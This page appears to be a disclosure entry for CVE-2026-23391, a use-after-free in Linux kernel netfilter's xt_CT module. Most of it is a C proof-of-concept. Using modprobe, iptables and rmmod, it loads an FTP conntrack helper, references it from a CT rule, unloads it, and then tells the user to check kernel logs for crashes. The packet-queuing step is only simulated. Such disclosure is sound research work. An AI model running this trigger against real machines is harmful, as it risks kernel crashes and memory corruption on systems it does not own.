CVE-2026-23391 Linux内核netfilter内存破坏漏洞

/* * PoC for CVE-2026-23391: Linux kernel netfilter xt_CT UAF * This script demonstrates the race condition by loading a helper, * enqueuing packets, and removing the helper. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main() { printf("[+] Starting PoC for CVE-2026-23391\n"); // Step 1: Load a conntrack helper module (e.g., ftp) printf("[*] Loading nf_conntrack_ftp module...\n"); system("modprobe nf_conntrack_ftp"); // Step 2: Add an iptables rule using '-j CT' with a helper // This creates a template referencing the helper object printf("[*] Adding iptables rule with CT helper...\n"); system("iptables -A OUTPUT -p tcp --dport 21 -j CT --helper ftp"); // Step 3: Simulate packet enqueuing // In a real scenario, send traffic and use NFQUEUE to hold packets printf("[*] Generating traffic to trigger the rule (simulated)...\n"); // system("hping3 -S -p 21 127.0.0.1"); // Step 4: Remove the helper module while packets are pending // This triggers the vulnerability: the template still points to the freed helper printf("[*] Removing helper module to trigger UAF...\n"); system("rmmod nf_conntrack_ftp"); // Step 5: Cleanup printf("[*] Cleaning up iptables rules...\n"); system("iptables -F OUTPUT"); printf("[+] PoC execution finished. Check kernel logs for crashes.\n"); return 0; }